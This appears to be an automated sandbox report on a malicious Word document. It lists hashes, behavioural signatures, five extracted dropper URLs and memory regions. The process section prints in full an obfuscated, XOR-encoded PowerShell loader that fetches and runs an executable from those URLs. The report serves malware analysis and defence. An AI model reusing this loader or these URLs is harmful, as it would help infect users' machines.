Analysis

  • max time kernel
    118s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 19:31

General

  • Target

    730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc

  • Size

    137KB

  • MD5

    730589f4fa17619ba4a0b4760aed0426

  • SHA1

    9d73fa94716aa74b82061ad310f525e9f51496df

  • SHA256

    ba60bdcdedfdecf24747f96a44ba2df973496807bf6b1080d9800feb53755242

  • SHA512

    8ca2518244d1ba6f8a558af3f8e6948e9704ea283cef15ea9b2fc9396a36765088df2ab249cb667761026290a88b03ae72cf1fd46c295f6dfda5166d54493799

  • SSDEEP

    1536:b5T1coc0qg43CzKj+aJwQiKn8m2q7m4MHxD7VNJVZX2xX7OnmecrwSgehfu7Qa19:dmPg4p6xufllLZowvOe9j+B

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.corridaitaliana.cl/AOQNNvjw/

exe.dropper

http://www.homedecorsuppliers.tk/1iBZRadBar/

exe.dropper

http://www.copticpope.org/RNDHpUD/

exe.dropper

http://petewilliams.info/lSLsRKf0/

exe.dropper

http://www.bluesw.net/VJ111cQ26/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3052
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHell.exe
        PowersHell .( ([stRINg]$verBOsEprEfeRENCe)[1,3]+'x'-JoIN'') ([stRIng]::jOIN( '' , ( '46p71X89,125H82,73w42E55{42{100,111-125w39,101,104~96,111X105~126H42~120~107-100G110H101-103G49X46p67w120E95,83~88H105,42{55~42p100H111~125~39E101,104w96H111H105G126-42{89~115-121,126w111G103,36~68,111H126-36w93X111X104H73,102G99H111-100p126X49G46~91X123~95{99~76w42E55~42p45-98,126E126-122G48-37H37{125{125p125,36w105H101p120E120H99G110G107H99G126p107p102G99~107{100X107G36X105X102~37G75w69{91~68H68{124H96p125p37-74,98w126H126-122~48E37p37G125,125{125G36p98G101X103H111,110{111X105H101H120-121X127-122H122p102w99~111-120w121p36-126~97p37~59G99~72w80w88,107H110w72w107-120H37X74H98{126G126w122G48G37H37-125,125H125w36E105X101X122X126p99~105p122E101p122-111H36X101X120p109X37H88~68H78E66E122~95p78,37p74G98E126w126{122,48-37{37p122H111G126X111w125-99-102H102X99{107H103X121w36,99G100E108X101H37G102G89G70{121p88p65X108~58p37-74p98X126,126{122{48H37w37{125~125E125p36G104~102~127{111-121G125G36w100X111E126G37-92-64w59G59{59E105H91H56G60E37p45G36w89w122p102E99w126{34X45w74E45E35E49X46-68X64G121-125p69,42w55G42,46,71~89~125E82~73p36H100w111H114-126E34p59-38H42{59X62p59X59w62{60G35H49{46H66,120G122-125~64G89G42w55p42X46{111{100w124E48{126G111w103H122X42p33G42w45p86,45w42w33~42w46w68,64-121H125,69,42{33p42,45,36-111p114,111G45-49H108-101p120G111-107,105{98E34E46~92w126E78-126G88,42p99H100G42w46H91~123G95w99~76-35H113{126~120H115H113-46{67X120p95E83{88G105-36p78G101E125p100E102w101E107~110H76~99H102-111H34G46p92H126{78E126-88E36~94{101G89p126G120H99-100p109w34w35H38w42E46{66p120{122-125,64,89E35p49w89H126w107w120E126H39p90{120H101{105~111G121,121{42G46p66p120{122w125G64-89G49X104X120{111p107w97,49G119p105G107H126H105-98E113-125H120G99E126{111,39{98p101{121p126{42~46E85E36{79p114H105H111-122G126,99X101w100~36E71p111~121E121,107p109p111E49{119~119'.SplIT('EG,wX~H{p-' )|fOrEach{ [ChaR]($_ -BxoR '0x0a')}) ))
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4912

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      b0d3b29111f97793cec431252effcc9c

      SHA1

      d778292b9eed23abe5139d0ff60ba18995c06801

      SHA256

      74feb742e52c5e42ea6ff26e4281a57c4672434d12208c1670aa837c11ecde47

      SHA512

      e8f126e10e7a5fa12992c0231cc40a37e5e062b0843e90baf66cfa991060dccd67f443022f1ef7930f478c92ff62e5340f876137b8b8e9d047ce0e705adaae9a

    • memory/1884-31-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-75-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-25-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-0-0x000000002F771000-0x000000002F772000-memory.dmp

      Filesize

      4KB

    • memory/1884-201-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-892-0x0000000006460000-0x0000000006560000-memory.dmp

      Filesize

      1024KB

    • memory/1884-46-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-45-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-44-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-43-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-42-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-41-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-40-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-39-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-38-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-30-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-36-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-35-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-34-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-33-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1884-2-0x0000000070E4D000-0x0000000070E58000-memory.dmp

      Filesize

      44KB

    • memory/1884-37-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-29-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-28-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-27-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-26-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-24-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-23-0x0000000006460000-0x0000000006560000-memory.dmp

      Filesize

      1024KB

    • memory/1884-22-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-21-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-20-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-18-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-19-0x0000000006460000-0x0000000006560000-memory.dmp

      Filesize

      1024KB

    • memory/1884-17-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-16-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-15-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-913-0x0000000070E4D000-0x0000000070E58000-memory.dmp

      Filesize

      44KB

    • memory/1884-914-0x0000000006460000-0x0000000006560000-memory.dmp

      Filesize

      1024KB

    • memory/1884-915-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-916-0x0000000006460000-0x0000000006560000-memory.dmp

      Filesize

      1024KB

    • memory/1884-32-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1884-932-0x0000000070E4D000-0x0000000070E58000-memory.dmp

      Filesize

      44KB